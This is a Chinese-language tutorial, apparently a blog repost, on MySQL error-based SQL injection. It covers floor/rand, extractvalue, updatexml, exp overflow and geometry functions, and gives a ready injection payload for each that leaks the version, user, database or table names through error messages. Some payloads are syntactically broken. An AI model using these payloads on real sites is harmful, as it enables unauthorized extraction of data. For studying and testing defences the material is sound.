1.Floor()
round() 遵循四舍五入把原值轉化為指定小數位數,如:round(1.45,0) = 1;round(1.55,0)=2
floor()向下舍入為指定小數位數 如:floor(1.45,0)= 1;floor(1.55,0) = 1
ceiling()向上舍入為指定小數位數 如:ceiling(1.45,0) = 2;ceiling(1.55,0)=2
floor(x),返回小于或等于x的最大整數。
x表示concat(database(),rand(0)*2),rand(0)以0為隨機種子產生0-1之間的隨機數,*2產生0-2之間的隨機數。
報錯原因:主鍵重復,必需:count()、rand()、group by
payload:
id=1 and select 1 from (select count(*),concat(version(),floor(rand(0)*2))x from information_schema.tables group by x)a);
2.ExtractValue()
ExtractValue(xml_frag, xpath_expr)ExtractValue()接受兩個字符串參數,一個XML標記片段 xml_frag和一個XPath表達式 xpath_expr(也稱為 定位器); 它返回CDATA第一個文本節點的text(),該節點是XPath表達式匹配的元素的子元素。
第一個參數可以傳入目標xml文檔,第二個參數是用Xpath路徑法表示的查找路徑
例如:SELECT ExtractValue(‘‘, ‘/a/b‘); 就是尋找前一段xml文檔內容中的a節點下的b節點,這里如果Xpath格式語法書寫錯誤的話,就會報錯。這里就是利用這個特性來獲得我們想要知道的內容。
payload:
id=1 and extractvalue(1, concat(0x7e, (select table_name from information_schema.tables limit 1)));
3.UpdateXml()
UPDATEXML (XML_document, XPath_string, new_value);
第一個參數:XML_document是String格式,為XML文檔對象的名稱,文中為Doc
第二個參數:XPath_string (Xpath格式的字符串) ,如果不了解Xpath語法,可以在網上查找教程。
第三個參數:new_value,String格式,替換查找到的符合條件的數據
而我們的注入語句為:
id=1 and 1=(updatexml(1,concat(0x7e,(SELECT @@version),0x7e),1))
其中的concat()函數是將其連成一個字符串,因此不會符合XPATH_string的格式,從而出現格式錯誤,爆出
ERROR 1105 (HY000): XPATH syntax error: ':[email?protected]'
4.Exp()
exp是以e為底的指數函數,
mysql> select exp(1);
+-------------------+
| exp(1) |
+-------------------+
| 2.718281828459045 |
+-------------------+
1 row in set (0.00 sec)
但是,由于數字太大是會產生溢出。這個函數會在參數大于709時溢出,報錯。
mysql> select exp(709);
+-----------------------+
| exp(709) |
+-----------------------+
| 8.218407461554972e307 |
+-----------------------+
1 row in set (0.00 sec)
mysql> select exp(710);
ERROR 1690 (22003): DOUBLE value is out of range in 'exp(710)'
將0按位取反就會返回“18446744073709551615”,再加上函數成功執行后返回0的緣故,我們將成功執行的函數取反就會得到最大的無符號BIGINT值。
mysql> select ~0;
+----------------------+
| ~0 |
+----------------------+
| 18446744073709551615 |
+----------------------+
1 row in set (0.00 sec)
mysql> select ~(select version());
+----------------------+
| ~(select version()) |
+----------------------+
| 18446744073709551610 |
+----------------------+
1 row in set, 1 warning (0.00 sec)
我們通過子查詢與按位求反,造成一個DOUBLE overflow error,并借由此注出數據。
mysql> select exp(~(select * from(select database())x));
ERROR 1690 (22003): DOUBLE value is out of range in 'exp(~((select `x`.`database()` from (select database() AS `database()`) `x`)))'
在腳本語言中,就會將錯誤中的一些表達式轉化成相應的字符串,即像這樣:
DOUBLE value is out of range in 'exp(~((select 'error_based_hpf' from dual)))'
從而實現了報錯注入。
payload:
id=1 and exp(~(select * from(select user())a));
5.GeometryCollection()
GeometryCollection的理解:以點的方式存放 ,如果單個點直接用 坐標(x,y)表示,如果是線的話是多個點使用 LINESTRING()來保存這條線上的點。
payload:
id=1 and GeometryCollection(()select *from(select user())a)b);
6.Polygon()
Polygon該函數畫一個由直線相聞的兩個以上頂點組成的多邊形,用當前畫筆畫多邊形輪廓,用當前畫刷和多邊形填充模式填充多邊形。
如圖中所示:
圖 1 是由外部環定義其邊界的 Polygon 實例。
圖 2 是由外部環和兩個內部環定義其邊界的 Polygon 實例。 內部環內的面積是 Polygon 實例的外部環的一部分。
圖 3 是一個有效的 Polygon 實例,因為其內部環在單個切點處相交。
payload:
id =1 and polygon((select * from(select * from(select user())a)b));
此注入點可以理解為limit后的注入點
7.MultiPoint
MultiPoint 是零個點或更多個點的集合。 MultiPoint 實例的邊界為空。
payload:
id = 1 and multipoint((select * from(select * from(select user())a)b));
8.MultiLineString()
MultiLineString 是零個或多個 geometry 或 geographyLineString 實例的集合。
如圖中所示:
圖 1 顯示的是一個簡單的 MultiLineString 實例,其邊界是其兩個 LineString 元素的四個端點。
圖 2 顯示的是一個簡單的 MultiLineString 實例,因為只有 LineString 元素的端點相交。 邊界是兩個不重疊的端點。
圖 3 顯示的是一個不簡單的 MultiLineString 實例,因為它的其中一個 LineString 元素的內部出現了相交。 此 MultiLineString實例的邊界是四個端點。
圖 4 顯示的是一個不簡單、非閉合的 MultiLineString 實例。
圖 5 顯示的是一個簡單、非閉合的 MultiLineString。 它沒有閉合是因為它的 LineStrings 元素沒有閉合。 而其簡單的原因在于,其任何 LineStrings 實例的內部都沒有出現相交。
圖 6 顯示的是一個簡單、閉合的 MultiLineString 實例。 它為閉合的是因為它的所有元素都是閉合的。 而其簡單的原因在于,其所有元素都沒有出現內部相交現象。
payload:
id = 1 and multilinestring((select * from(select * from(select user())a)b));
9.LineString
LineString 是一個一維對象,表示一系列點和連接這些點的線段。
如圖中所示:
圖 1 顯示的是一個簡單、非閉合的 LineString 實例。
圖 2 顯示的是一個不簡單、非閉合的 LineString 實例。
圖 3 顯示的是一個閉合、簡單的 LineString 實例,因此是一個環。
圖 4 顯示的是一個閉合、不簡單的 LineString 實例,因此不是一個環。
payload:
id = 1 and LINESTRING((select * from(select * from(select user())a)b));
10.MultiPolygon()
MultiPolygon實例是零個或更多個Polygon實例的集合。
如圖中所示:
圖 1 是一個包含兩個 Polygon 元素的 MultiPolygon 實例。 邊界由兩個外環和三個內環界定。
圖 2 是一個包含兩個 MultiPolygon 元素的 Polygon 實例。 邊界由兩個外環和三個內環界定。 這兩個 Polygon 元素在切點處相交。
原文:https://www.cnblogs.com/zztac/p/11441292.html